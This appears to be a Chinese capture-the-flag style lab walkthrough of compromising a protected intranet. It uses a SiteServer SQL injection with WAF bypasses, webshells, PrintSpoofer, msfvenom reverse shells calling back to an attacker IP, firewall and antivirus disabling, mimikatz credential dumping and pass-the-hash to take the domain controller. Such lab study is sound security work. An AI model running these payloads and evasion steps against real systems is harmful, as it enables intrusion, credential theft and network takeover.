目录
4.3.2 利用kiwi dcsync_ntml获取域管理员的ntml
一、网络示意图
此次最终目标是拿下有防护内网之中的DC机器
二、信息收集
2.0 netdiscover存活探测
使用命令
“ netdiscover -i eth0 -r 192.168.0.0/24 ”
2.1 端口扫描
因为服务器上存在安全防护软件 尽量把 rate 的值调低 掉调大可能会被封
可以先用masscan 探测哪些端口开放,再用nmap 扫描开放端口具体信息
masscan 192.168.0.114 -p 1-65535 –rate=100
nmap -sV -p 3389,5985,6588,999,21,80 -A 192.168.0.114 -oA attack-ports
-sV是扫描系统版本和程序版本检测
-oA 是将结束输出到webhack文件中(会产生多个文件)
2.2 美化NMAP扫描结果
此时,扫描完毕。已经将结果保存到3个文件之中。但是观感不是太好。
开美化一下,使用到一个模型文件“ mode.xsl ”。
使用命令“ xsltproc -o attack.html mode.xsl attack-ports.xml ”
将扫描结果“ attack-ports.xml ”根据“ mode.xsl ”生成“ attack.html ”。
打开生成的文件,进行查看。另外可以根据自己需求来修改模型文件即可
发现80端口还有一些robots文件
打开访问试试
找到一些敏感信息
2.3 目录扫描编写一个绕防火墙脚本
使用常规目录扫描器会因为线程过大直接给ban掉
因为并发请求过多,会当作 cc 攻击拉黑处理。 一般被拉黑 就要等十分钟后再扫描
用py3写一个带有沉睡0.5S的小脚本
#conding:utf-8
import requests
import time
import sys
#加载字典文件
with open('big.txt','r',encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
#生成对应url
url ="http://www.moonlab.com/"+dirs.strip('\n')
resp = requests.get(url)
strlen=len(resp.text)
#将扫描结果输出
print(url+'---'+str(resp.status_code)+'---len---'+str(strlen))
#沉睡0.5S
time.sleep(0.5)
#判断特殊状态码,将对应url保存到文件之中
if resp.status_code ==200 or resp.status_code==403 or resp.status_code==301 or resp.status_code==500:
with open('write.txt','a',encoding='UTF-8') as writefile:
writefile.write(url+'---'+str(resp.status_code)+'---len---'+str(strlen)+'\n')
2.4 访问特殊状态码地址
一遍让脚本跑这,一遍看看特殊状态码的url,命令
“ cat write.txt | grep 500 ”
使用火狐打开,moonlab.com –
三、对目标进行渗透测试
3.1测试Web服务器
上边通过目录扫描,发现目标网站使用siteserver。去网上找找有没有现场的poc
在这里找到https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver。
将利用源代码复制下来,进行魔改,直接利用的话会被网站安全狗拦截。
import requests
#定义payload到列表之中
ps=[
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
#构建测试payload
url='http://www.moonlab.com/'+p
res = requests.get(url)
#判断是否存在漏洞并将对应测试url打印输出
if res.status_code==500 and "GAOJIMicrosoft" in res.text:
print(url)
print(res.text)
使用poc进行测试
访问漏洞url,发现报错注入,爆出版本信息,是MSSql数据库
试试能不能爆出数据库名称,直接被狗拦截
加“~”过防护,语句:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2Bdb_name()=~2;%20--
此时可以本地去下载siteserver搭建,看看数据库结构
最终的绕狗语句,查询用户:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20username%20from%20[bairong_Administrator]);%20--
查询密文:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20password%20from%20[bairong_Administrator]);%20--
查询key:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20PasswordSalt%20from%20[bairong_Administrator]);%20--
账号 密文 key
admin 64Cic1ERUP9n2OzxuKl9Tw== LIywB/zHFDTuEA1LU53Opg==
4.1.2 寻找加解密算法程序
使用dnSpy 反编译得到加密文件,找到解密代码
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.x3c811436980dcf17.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new
DESCryptoServiceProvider();
array = Convert.FromBase64String(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream,
descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
this.x456956327593d9f6
4.1.3 编写 c# siteserver 密文解密工具
拉个控件
拉四个文本框
拉个说明框
在拉去一个button
将刚刚的代码复制出来,加入到上边
导入(重构)这些所需库
将传入信息带入
微微调整后,进程测试。得到密码:admin5566
假如我们输出的信息不对的话
4.1.4 找回密码漏洞
这是老版本的系统存在一个通杀漏洞。
输出账户,点击忘记密码数据包
输出任意答案,将填入信息改为空放包即可
直接看到明文密码
其实,这里直接禁用JS也是可以直接进入后台的
4.1.5 过狗上线菜刀
这里后台拿shell也是比较容易。在这里上传压缩之后的一句马。
因为存在狗,普通的一句话会被直接拦截掉
所以上传过狗的一句话。上传成功
使用菜刀连接,也是被狗拦截
这个时候就要用到过狗刀了,并且因为上一次的操作导致一句马被干掉了,得再上传一个
配合过狗刀,成功
4.1.6 提权web服务器
先看看权限,一个低权限得iis
主机名称,网络连接情况
命令“ tasklist /svc ”查看一些进程信息
看到一些安全狗得进程
Systeminfo看到只打了2个补丁
4.1.7 使用“ PrintSpoofer ”提权
直接上传提权工具,路径为“ C:\Windows\Temp\ ”别的地方可能没有权限
但是一运行,发现就有问题,猜测是被杀软干掉了
去靶机看看,果然被干掉了
免杀处理之后,再次上传搞定
执行命令: PrintSpoofer1.exe -i -c "whoami"
这里已经是system为什么不创建用户加入管理员组的原因是:
狗不会拦截创建用户,但是加入管理员组会被拦截,所以我们直接上传msf
4.1.8 MSF免杀上线
生成msf的payload,命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt
将全部的shellcode复制出来
将生成的免杀文件上传到目标服务器
Msf去开启监听
菜刀直接木马
4.1.9 破解hash获得明文
这里老套路先迁移进程在获取hash与明文。但是迁移进程的时候,会话掉了
看来不是太稳定,在获取一次
一会又掉了,刷新文件发现木马文件直接被干掉了
修改编译次数,重新生成免杀。终于获得到hash。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2333 -e x86/shikata_ga_nai -i 14 -f csharp -o payload.txt
我们可以将获取到的hash到在线网站去破解一下
为什么是破解而不是直接导出明文账户密码呢?
因为在win ser2012之后都默认不能导出。
一般是通过修改注册列表,重启之后等管理员登录才可以抓到。
这里我们出了用在线网站破解。也可以使用hashcat来破解
hashcat -a 0 -m 1000 hash.txt rockyou.txt —force
-a 0 字典模式
-m 是类型
hash.txt 是 ntml
rockyou 是字典
四、内网渗透
4.1 对web 服务器的操作
4.1.1 关闭服务器杀软防火墙
此时我们已经知道目标的账户密码: Administrator !@#QWE123
在看看远程主机有没有开启3389端口。Netstat
直接登录
退掉后台安全访问软件
关闭实时防护,省的在影响接下来的操作
4.1.2 内网主机发现
先看看能不能找到目标与一些内网主机交互的,看看目标是否存在于内网,
Ipconfig发现内网IP段
然后,netstat看看有没有与10段的内网主机有交互的。也没有发现
看看路由表信息,arp ,也没有找到一些10段内网信息
那就直接使用for循环ping遍历内网信息吧。命令:
“ for /l %i in (1,1,255) do @ ping 10.10.1.%i -w 1 -n 1 | find /i "ttl=" “
并没有发现我们的目标主机,使用msf带的arp模块吧。“ run arp_scanner -r 10.10.1.0/24“
发现目标主机130
4.1.3 代理nmap对内网oa主机探测端口
此时,已经发现内网主机10.10.1.130。我们增加路由设置代理去扫扫目标
开启socks4代理
增加路由
设置本地代理文件配置命令
“ vim /etc/proxychains.conf “
使用nmap对目标探测,扫描的很慢
这里给一些内网常见端口扫描
“ proxychains nmap -sT -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,9300 ,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 –open “
这么多端口,仅仅发现80开放是很不正常的。明显是存在防火墙拦截。
我们代理火狐浏览器去访问一下80端口看看。发现是通达oa
4.2 对OA服务器进行渗透
4.2.1 通达OA 办公系统getshsell
这里使用通达oa之前爆的一个文件上传加文件包含漏洞进行利用攻击,下载exp
要将一下源代码进行修改,因为自带的代码生成的shell一般都会被查杀。
这里直接使用蚁剑生成一些免杀的一句话
将生成代码进行base64编码
将编码生成代码替换
使用“ proxychains python3 tongda\ exp.py -H http://10.10.1.130 -file-shell ”生成木马。
代理火狐浏览器成功访问,木马上传成功
设置蚁剑代理后,连接
连接成功
4.2.2 对通达OA服务器进行信息收集
此时有一个比较迷的问题,就是蚁剑执行命令没有回显
可以操作文件,没有命令回显,那就让命令执行结果写入文件中
使用“ net start >> cmd.txt ”看看已经启动的服务。映入眼帘的360.
在使用“ tasklist >> cmd.txt ”,“netstat -ano >> cmd.txt”,“systeminfo >> cmd.txt”看看
使用命令“ ipconfig /all > cmd.txt ”。
常用命令:
net start 看看已经启动的服务。 tasklist 查看计算机应用列表。
netstat -ano 查看网络连接信息。 Systeminfo 查看计算机信息。
ipconfig /all 查看网络信息。 whoami 查看当前权限。
信息整理:
oa 服务器存在两个 IP
分别是 10.10.1.130 10.10.10.166
防护软件 :
内置系统防火墙 Windows Firewall 360 安全卫士 360 杀毒软件
4.2.3 关闭OA服务器系统自带的防火墙
从上面看到,OA服务器的端口开放很多。
但是因为防火墙的原因,导致我们代理kali扫描的时候,仅仅可以扫到80端口。
此时,可以使用
“ NetSh Advfirewall set allprofiles state off ”
关闭 Windows Firewall。即关闭win自带防火墙。
为什么要关闭防火墙?
因为一会要,msf生成木马进行正向连接OA服务器。
有防火墙拦截的话,是无法上线MSF的
通过上边的信息收集,我们得知oa服务器是开启445端口的。正常代理nmap探测一下
关闭状态,我们使用命令“ NetSh Advfirewall set allprofiles state off ”来关闭防火墙
再次对目标进行探测
4.2.4 免杀360全家桶上线MSF
生成正向连接 shellcode。命令:
“ msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -e x86/shikata_ga_nai -i 15 -f csharp -o payload_bind.txt ”
继续使用掩日免杀
这里生成的木马可能会被查看,也可能不会。
一般可以使用“ curl http://www.baidu.com ”命令,
来查看服务器是否出网,不出网的话,360全家桶也行很久都没有更新。
这里就直接将生成的木马上传
先在oa服务器上执行
然后MSF中进行配置设置
运行,得到会话
4.2.5 获取OA服务器的哈希明文
查看权限是system之后,就迁移进程抓取哈希先,
这个进程若是迁移到非system之中。
可能就会dump不出hash
加载mimikatz,使用
“ mimikatz_command -f sekurlsa::searchPasswords ”
或者“ msv ”抓取明文。
注意:
这里还不能直接使用
“ mimikatz_command -f sekurlsa::searchPasswords ”,
使用目标服务器存在360,加载猕猴桃之后,
使用此功能抓取密码会被直接拦截。
导致会话被干掉,这里还是使用“ msv ”
4.2.6 收集整理分析内网域的信息
(1)判断是不是在域中,可以使用“ net time /domian ”来查看。这种是存在域
这种是不在域中
(2)或者使用ps查看进程,发现存在域管理员进程
(3)定位域控,使用命令“ run post/windows/gather/enum_domain ”
(4)定位域控的另一个小知识,有时候直接“ ping dc ”就好了。
(5)使用命令“run post/windows/gather/enum_logged_on_users”查看登录的用户
4.3 对域控主机进行渗透
上边说到,我们使用ps查看进程的时候,发现域管理员在线。
我们可以直接迁移进程到其中。
之后使用“shell”来产生一个会话,这个会话就可以直接访问域控C盘。
注意此次迁移使用命令“ steal_token ”,非“ migrate ”。
但是域管理员会话产生失败,自然也获取不到域控C盘信息
我们返回msf,切换回system权限把还是,命令“ rev2self ”
还是老老实实,加代理,扫端口把
对常见端口进行扫描
“proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,88,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open”
最终扫描到开放4个端口
4.3.2 利用kiwi dcsync_ntml获取域管理员的ntml
看到开放445,我们可是先获取域管理员的hash与ntml,来尝试登录。
比如msf的这个模块“ exploit/windows/smb/psexec ”。或者直接使用pth。
扩展之什么是pth:
PTH (pass-the-hash)
pass-the-hash在内网渗透中是一种很经典的攻击方式,
原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,
而不用提供明文密码。
注意的是使用命令“ steal_token ”切换至域管理员64位进程,system权限是不行的。
之后加载猕猴桃kiwi使用命令“ dcsync_ntlm administrator ”来抓取
但是在抓取之后,直接就掉会话,估计是被拦截了
那这个先到此为止吧,接下来使用CS进行渗透测试
4.4 使用CS渗透最后的域控
4.4.1 py免杀木马让web服务器上线CS
通过菜刀上传,使用命令 PrintSpoofer1.exe -i -c “shell.exe” 成功上线
4.4.2上线OA服务器
先开启socks代理,注意的是,开放的代理服务器是cs服务器IP,端口为56542.
新建一个监听器,因为不出网,所以要改一下监听器的类型
生成payload的时候要选择Windows Executable(Stageless)
该木马是生成无阶段后门,适用于不出网情况下
还存在360,需要免杀,直接替换360的图标即可,
因为目标机器也不出网。出网就jj了。
通过蚁剑上传
执行上传的“ 4.exe ”
此时需要用CS主动连接木马,注意的是正常情况下需要先关闭防火墙,
此时上边关过了。
关闭防火墙命令“ NetSh Advfirewall set allprofiles state off ”,成功上线。
4.4.3 抓取OA服务器上的明文哈希
直接抓到域管理员明文
此时,先看看能不能访问域控的C盘,很正常的不行
此时,我们在通过PTH获取凭证。
填写信息
看看beacon中已经攻击成功
再次访问域控C盘
4.4.4 拿下域控机器
此时我们已经可以访问到域控C盘, 这个时候直接PTH攻击。
当然,事先要建立一个SMB监听。
然后,一个命令“ jump psexec DC ”选择刚刚建立的smb监听,直接上线。
4.4.5 第二种拿下域控的法子
一个比较野的法子就是,直接代理本机,远程登录
输入在OA服务器上抓到的域管的明文登录
下边有一个常规的,可以访问域控的C盘文件,
将木马上传到域控上,配合计划任务拿下。
但是没成功,登录后发现原因
下面是测试未成功的步骤。。。。因为存在win自带杀软
切换到 C:/myoa/webroot/ispirit/interface/ 目录
将木马文件复制到域控C盘,命令“ shell copy 4.exe \\dc\C$\ ”
查看域控当前时间
创建计划任务,使域控23点17执行4.exe程序(因为AT被弃用了)。
命令“ shell SCHTASKS /Create /TN jihua01 /TR C:\4.exe /SC ONCE /ST 23:17 ”
查看时间,应该到了
五、总结(有防护域控内网)
5.1 外网服务器
信息收集发现目标cms,参考网上案例进入后台,压缩包传免杀一句马配合过狗刀上线。
免杀PrintSpoofer后提权到system,使用掩日免杀msf木马上线MSF。
迁移进程后获取哈希,没有明文。使用在线网站破解哈希得到明文。
远程登录后,关闭杀软与防火墙。使用for循环配合ping探测内网主机。
增加路由配置代理,使用nmap扫描发现的内网主机。
5.2 内网OA服务器
发现仅仅开放80端口,猜测存在防火墙,访问发现是通达OA,使用漏洞exp直接拿下。
对OA服务器进行信息收集,顺便关闭其自带防火墙,不然无法上线MSF。
正向连接需要可以访问目标其他端口,使用掩日生成正向免杀MSF木马。
正向连接上线MSF,获取OA服务器的明文哈希,收集整理OA服务器及其内网信息
5.3 内网域控
在OA服务器增加路由,代理nmap扫描域控开放445端口。
因为OA服务器存在域管进程,准备迁移进程(steal_token)抓取哈希之后。
使用PTH直接拿下域控,但是没有抓取哈希失败
这里假如可以抓到哈希或者明文的话,也可以直接代理mstsc直接登录域控。
5.4 使用CS渗透
使用py免杀生成CS木马,通过菜刀配合PrintSpoofer让外网服务器上线CS。
============================
开启CS的代理,新建beacon tcp的监听器,生成无阶段后门木马,通过蚁剑上传并执行。
关闭目标防火墙(上边MSF已经关闭)因为该机器不出网,使用CS进行正向连接上线。
============================
抓到域管的明文哈希,新建smb监听,使用pth直接上线域控机器。
当然,都抓到明文了。直接代理mstsc直接远程登录也可以。
靶场地址:
链接: https://pan.baidu.com/s/1b-MQ7Y3_t7foMwXFjDzJKg 提取码: bxs2